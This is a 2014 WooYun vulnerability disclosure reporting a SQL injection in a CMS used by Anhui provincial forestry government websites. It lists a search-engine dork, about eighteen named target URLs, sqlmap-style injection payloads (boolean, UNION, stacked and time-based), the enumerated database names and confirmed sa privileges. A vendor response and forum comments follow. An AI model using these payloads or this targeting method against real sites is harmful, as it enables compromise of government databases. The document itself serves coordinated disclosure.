当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-066332

漏洞标题：某政府CMS通用SQL注入漏洞（全为sa）

相关厂商：Cncert国家互联网应急中心

漏洞作者： 魇

提交时间：2014-07-07 18:33

修复时间：2014-10-05 18:34

公开时间：2014-10-05 18:34

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-07-07： 细节已通知厂商并且等待厂商处理中
2014-07-12： 厂商已经确认，细节仅向厂商公开
2014-07-15： 细节向第三方安全合作伙伴开放
2014-09-05： 细节向核心白帽子及相关领域专家公开
2014-09-15： 细节向普通白帽子公开
2014-09-25： 细节向实习白帽子公开
2014-10-05： 细节向公众公开

简要描述：

某政府CMS通用SQL注入漏洞（全为sa）

详细说明：

http://wooyun.org/bugs/wooyun-2010-054577 从U神提交的关键词搜到的站点 应该是同一厂商，这个走的前台，我提交的这个应该也行吧
1. 多用于安徽省内林业信息GOV站点，谷歌搜索语法：

inurl:zxzx_show.jsp?ID intitle:在线咨询


2. 提供案例仅供Cncert国家互联网应急中心测试（ID参数存在注入）：

http://www.ahly.gov.cn/hdcy/zxzx_show.jsp?ID=79  安徽林业信息网
http://www.ahhbly.gov.cn/hdcy/zxzx_show.jsp?ID=79 淮北市林业信息网
http://www.ahaqly.gov.cn/hdcy/zxzx_show.jsp?ID=304 安庆林业信息网
http://www.ahbbly.gov.cn/hdcy/zxzx_show.jsp?ID=28 蚌埠林业信息网
http://www.ahczly.gov.cn/hdcy/zxzx_show.jsp?ID=105 滁州市林业信息网
http://www.ahxcly.gov.cn/hdcy/zxzx_show.jsp?ID=124 宣城林业信息网
http://www.ahtlly.gov.cn/hdcy/zxzx_show.jsp?ID=34 铜陵林业信息网
http://www.ahfyly.gov.cn/hdcy/zxzx_show.jsp?ID=122 阜阳林业信息网
http://www.ahlaly.gov.cn/hdcy/zxzx_show.jsp?ID=53 六安市林业信息网
http://www.ahbzly.gov.cn/hdcy/zxzx_show.jsp?ID=42 亳州林业信息网
http://www.ahmasly.gov.cn/hdcy/zxzx_show.jsp?ID=30 马鞍山林业信息网
http://www.ahchizly.gov.cn/hdcy/zxzx_show.jsp?ID=133 池州林业信息网
http://www.ahwhly.gov.cn/hdcy/zxzx_show.jsp?ID=44 芜湖市林业信息网
http://www.ahhnly.gov.cn/hdcy/zxzx_show.jsp?ID=35 淮南市林业信息网
http://www.ahhflyj.gov.cn/hdcy/zxzx_show.jsp?ID=34 合肥市林业信息网
http://www.ahhsly.gov.cn/hdcy/zxzx_show.jsp?ID=34 黄山林业信息网
http://www.ahwhly.gov.cn/hdcy/zxzx_show.jsp?ID=34 芜湖林业信息网
http://www.ahszly.gov.cn/hdcy/zxzx_show.jsp?ID=34 宿州林业信息网

漏洞证明：

淮北市林业信息网为例：

q1.jpg


q2.jpg


---
Place: GET
Parameter: ID
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: ID=79 AND 1446=1446
    Type: UNION query
    Title: Generic UNION query (NULL) - 14 columns
    Payload: ID=-9120 UNION ALL SELECT NULL,NULL,CHAR(113)+CHAR(114)+CHAR(107)+C
HAR(116)+CHAR(113)+CHAR(100)+CHAR(66)+CHAR(108)+CHAR(67)+CHAR(70)+CHAR(89)+CHAR(
73)+CHAR(70)+CHAR(85)+CHAR(74)+CHAR(113)+CHAR(115)+CHAR(108)+CHAR(104)+CHAR(113)
,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries
    Payload: ID=79; WAITFOR DELAY '0:0:5'--
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind
    Payload: ID=79 WAITFOR DELAY '0:0:5'--
---


available databases [25]:
[*] ahly_anqing
[*] ahly_bengbu
[*] ahly_bozhou
[*] ahly_chaohu
[*] ahly_chizhou
[*] ahly_chuzhou
[*] ahly_fuyang
[*] ahly_hefei
[*] ahly_huaibei
[*] ahly_huainan
[*] ahly_huangshan
[*] ahly_luan
[*] ahly_maanshan
[*] ahly_neinew
[*] ahly_suzhou
[*] ahly_tongling
[*] ahly_wuhu
[*] ahly_xuancheng
[*] distmodel
[*] lyj_xx
[*] master
[*] model
[*] msdb
[*] netweb_ahly
[*] tempdb


SA权限：

database management system users privileges:
[*] sa (administrator)


修复方案：

版权声明：转载请注明来源 魇@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：16

确认时间：2014-07-12 12:57

厂商回复：

CNVD确认并复现所述情况(为定制系统且为同一网站集群)，根据测试实例，已经转由CNCERT下发给安徽分中心，由其后续联系网站管理单位处置。rank 16

最新状态：

暂无

漏洞评价：

评论

  1. 2014-07-07 22:35 | Ares ( 路人 | Rank:29 漏洞数:8 | 来自幼儿园大班)

    施主，我已经到了你门口，请开门

  2. 2014-07-08 01:32 | 小小鸟 ( 路人 | Rank:8 漏洞数:6 | 小白一个)

    咚~咚~咚~开门~查水表

  3. 2014-07-08 02:24 | 黑吊丝 ( 路人 | Rank:18 漏洞数:4 | 木心木肺黑吊丝)

    爆破1组准备

  4. 2014-08-17 12:07 | 贫道来自河北 ( 普通白帽子 | Rank:1395 漏洞数:423 | 一个立志要把乌云集市变成零食店的男人)

    这个也是通用啊 同一个站啊

  5. 2014-08-17 12:10 | 贫道来自河北 ( 普通白帽子 | Rank:1395 漏洞数:423 | 一个立志要把乌云集市变成零食店的男人)

    看错了，是不同的站

  6. 2014-08-29 17:35 | X防部 ( 普通白帽子 | Rank:487 漏洞数:137 )

    洞主这个冻给了多少钱？

  7. 2014-08-29 17:36 | 贫道来自河北 ( 普通白帽子 | Rank:1395 漏洞数:423 | 一个立志要把乌云集市变成零食店的男人)

    @X防部 我回答你吧200

  8. 2014-08-29 17:36 | 魇 ( 普通白帽子 | Rank:1207 漏洞数:104 | 传闻中魇是一个惊世奇男子，但是除了他华...)

    @X防部 200 目测为了发通用的效率 奖金都缩水了 今天连发了3个200

  9. 2014-08-29 17:43 | X防部 ( 普通白帽子 | Rank:487 漏洞数:137 )

    @魇 貌似5月份小众厂商高危漏洞都是500

  10. 2014-08-29 17:53 | 魇 ( 普通白帽子 | Rank:1207 漏洞数:104 | 传闻中魇是一个惊世奇男子，但是除了他华...)

    @X防部 是的 落差很大现在

  11. 2014-10-05 19:51 | Moo ( 路人 | Rank:8 漏洞数:3 | PS：不打脸，还要泡妞呢)

    @魇 分分钟拉河南人 爆你菊花，居然挑衅我大安徽。哇咔咔

  12. 2014-12-11 02:05 | hack雪花 ( 实习白帽子 | Rank:67 漏洞数:18 | (#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵...)

    @Moo 你安徽的